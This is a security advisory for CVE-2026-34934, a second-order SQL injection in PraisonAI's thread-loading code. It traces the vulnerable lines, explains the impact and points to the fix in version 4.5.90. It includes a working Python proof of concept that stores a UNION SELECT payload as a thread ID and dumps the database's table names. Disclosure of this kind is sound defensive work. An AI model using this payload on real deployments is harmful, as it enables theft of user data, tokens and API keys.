CVE-2026-34934: PraisonAI: Second-Order SQL Injection in `get_all_user_threads`
Summary
The getalluserthreads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via updatethread. When the application loads the thread list, the injected payload executes and grants full database access.
---
Details
File Path: src/praisonai/praisonai/ui/sqlalchemy.py
Flow: - Source (Line 539): python await datalayer.updatethread(threadid=payload, userid=user)
- Hop (Line 547): python threadids = "('" + "','".join([t["threadid"] for t in userthreads]) + "')"
- Sink (Line 576): sql WHERE s."threadId" IN {threadids}
---
Proof of Concept (PoC)
python
import asyncio from praisonai.ui.sqlalchemy import SQLAlchemyDataLayer
async def runpoc(): datalayer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread await datalayer.updatethread( threadid="validthread", userid="attacker" )
# Inject malicious payload payload = "x') UNION SELECT name, null, null, 'validthread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlitemaster--"
await datalayer.updatethread( threadid=payload, userid="attacker" )
# Trigger vulnerable function result = await datalayer.getalluserthreads(userid="attacker")
for thread in result: if getattr(thread, 'id', '') == 'validthread': for step in getattr(thread, 'steps', []): print(getattr(step, 'id', ''))
asyncio.run(runpoc())
Expected Output: sqlitemaster table names printed to console
---
Impact
An attacker can achieve full database compromise, including:
- Exfiltration of sensitive data (user emails, session tokens, API keys) - Access to all conversation histories - Ability to modify or delete database contents
Other sources
PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the getalluserthreads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via updatethread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaito a version that resolves this vulnerability.Fixed in 4.5.90 - Upgrade
Upgrade
praisonaito a version that resolves this vulnerability.Fixed in 4.5.90 - Compensating control
Restrict database access so that the SQLite database file used by SQLAlchemyDataLayer (e.g., app.db) is not directly accessible to untrusted users/processes; ensure only the application service account can read/write the DB.